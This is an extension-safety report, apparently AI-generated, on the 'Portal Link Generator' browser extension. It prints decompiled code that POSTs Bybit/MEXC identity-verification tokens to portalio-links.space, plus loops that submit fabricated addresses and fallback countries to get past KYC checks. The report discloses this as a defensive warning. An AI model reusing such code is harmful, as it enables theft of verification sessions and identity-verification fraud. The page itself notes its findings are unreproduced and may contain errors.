Is Portal Link Generator safe?

Medium risk

Portal Link Generator sends your Bybit and MEXC identity-verification session tokens to a third-party server.

When you click its 'Check KYC' / 'Get Token' buttons on a Bybit or MEXC tab, the extension injects code into the page using your logged-in session to pull your KYC verification token (Sumsub/Onfido/Jumio) or face-verification token, then POSTs it to portalio-links.space, a server not operated by the exchange or the identity-verification vendor. Separately, when Bybit requires a residency check, the extension queries IP-geolocation services for your real country and then, if that fails, tries a list of hardcoded fallback nationalities including Belarus, Russia, Mozambique, Venezuela and the Bahamas, generating a fake address for each from a built-in per-country table; for MEXC, it always submits Ukraine as the KYC applicant country regardless of your actual location.

45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Your Bybit or MEXC identity verification token is sent to a third party server

Code analysis shows that after you request a KYC or face-verification link, the extension takes the access token issued by Bybit's or MEXC's own verification API and forwards it to portalio-links.space.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click Get Token on the Bybit or MEXC KYC tab while logged into that exchange.

The extension did this

The extension takes your verification token from the exchange's own KYC API and sends it to portalio-links.space.

portalio-links.space is not operated by the exchange or by Sumsub, Onfido or Jumio, and is not named in the store listing.

02EvidenceCODE COMPARE
The code that does this

The function that forwards the token off-exchange

What it actually does
async function ht(targetUrl, kycToken, proxyUrl = "", sdkType = "sumsub", workflowRunId = null) {
  let payload = {
    target_url: targetUrl,
    proxy_url: proxyUrl,
    kyc_token: kycToken,
    sdk_type: sdkType
  };
  if ((sdkType === "onfido" || sdkType === "jumio") && workflowRunId) {
    payload.workflow_run_id = workflowRunId;
  }
  // jt.PROXYGATE_CREATE_SESSION = "https://portalio-links.space/create-session"
  let response = await fetch(jt.PROXYGATE_CREATE_SESSION, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(payload)
  });
  let text = await response.text();
  if (!response.ok) throw new Error(`API request failed (HTTP ${response.status}): ${text.substring(0,200)}`);
  let data = JSON.parse(text);
  if (!data.start_url) throw new Error("Missing start_url in API response");
  return data;
}
03EvidenceFIELD TABLE
What is sent to portalio-links.space
FieldValueWhy it matters
Verification access token
kyc_token: "eyJhbGciOiJIUzI1NiJ9.eyJzZXNzaW9uSWQiOiJzYnhfZjNhOTkyIn0.4x1w"The active identity-verification token issued moments earlier by Bybit or MEXC. Whoever holds it can use your verification session.
Verification target URL
target_url: "https://www.bybit.com/user/accounts/auth/kyc"The exchange page the token was issued for, showing which verification flow it belongs to.
Verification provider
sdk_type: "sumsub"Which identity-verification vendor, Sumsub, Onfido or Jumio, issued the token.
04EvidenceTHIRD PARTY LIST
Where your verification token goes
  • portalio-links.space

    Receives the live KYC/face-verification token. Not Bybit, not MEXC, not Sumsub, Onfido or Jumio. Not named in the store listing.

05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI FOUND

Extension submits a fabricated address to bypass Bybit and MEXC KYC checks

Code analysis shows that for an unverified account, the extension submits a fabricated address, trying your real country then Belarus, Russia, Mozambique, Venezuela and the Bahamas, to Bybit's KYC system, and always Ukraine to MEXC's.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click Get Token on the Bybit or MEXC KYC tab with an account that is not yet identity-verified.

The extension did this

The extension submits a fabricated city, postal code and street for your country, or a hardcoded fallback country, to Bybit's KYC questionnaire.

For MEXC it always submits the country as Ukraine, regardless of your real location.

02EvidenceCODE COMPARE
The code that does this

The country candidate list and the hardcoded MEXC country

What it actually does
Bybit: real country plus hardcoded high-risk fallbacks
let detectedCountry = await lookupCountryByIp() || "UA";
let residenceCountry = kycStatus?.result?.residenceCountry || "";
let residenceIsEmpty = !residenceCountry;

// Hardcoded fallback countries, tried regardless of the user's real location
let fallbackCountries = ["BY", "RU", "MZ", "VE", "BS"];
let candidates = [detectedCountry];
for (let c of fallbackCountries) {
  if (!candidates.includes(c)) candidates.push(c);
}

for (let country of candidates) {
  try {
    await primeKycIframe(country);
    if (residenceIsEmpty && !submitted) {
      await submitFabricatedQuestionnaire(country);
      submitted = true;
    }
  } catch {}
}
MEXC: country hardcoded to Ukraine
async function startMexcSeniorKyc(exchangeOrigin = "https://www.mexc.com") {
  let countryCode = "UA"; // always Ukraine, never the user's real country
  let cardType = "2";
  let url = `${exchangeOrigin}/ucenter/api/kyc_senior/self_init?countryCode=${countryCode}&cardType=${cardType}`;
  let init = await post(url, null);
  // ...
}
03EvidenceFIELD TABLE
The fabricated address sent to Bybit
FieldValueWhy it matters
Country submitted
national: "RU"The country value sent to Bybit's KYC questionnaire. Can be your real country or a hardcoded fallback.
Fabricated city
state: "Moscow"A city chosen at random from a hardcoded list for that country, not a place you provided.
Fabricated postal code
postCode: "101234"A postal code generated at random within that country's valid range.
Fabricated street
street: "Tverskaya 143"A street name from a hardcoded list combined with a random building number.
04EvidenceFIELD TABLE
The MEXC senior KYC application fields
FieldValueWhy it matters
Country code sent to MEXC
countryCode: "UA"The country code sent to MEXC's senior KYC application. Always Ukraine, regardless of your real country.
Card type
cardType: "2"The identity document type MEXC expects for the submitted nationality.
05EvidenceTHIRD PARTY LIST
Services queried to find your real country first
  • get.geojs.io

    Receives your real IP address so the extension can determine your real country before overriding it in the KYC submission.

  • ipwhois.app

    Fallback IP-geolocation lookup if get.geojs.io does not respond.

  • ipapi.co

    Second fallback IP-geolocation lookup for the same country detection step.

06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Portal Link Generator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ipapi.co

    Portal Link Generator sends data to ipapi.co. 16 other extensions we have analysed send data here.

  • get.geojs.io

    Portal Link Generator sends data to get.geojs.io. 4 other extensions we have analysed send data here.

  • ipwhois.app

    Portal Link Generator sends data to ipwhois.app. One other extension we have analysed sends data here.

  • portalio-links.space

    Portal Link Generator sends data to portalio-links.space. No other extension we have analysed sends data here.

Updated 30 September 2026bifjcnccdnhhefioljknicknmcpmlloi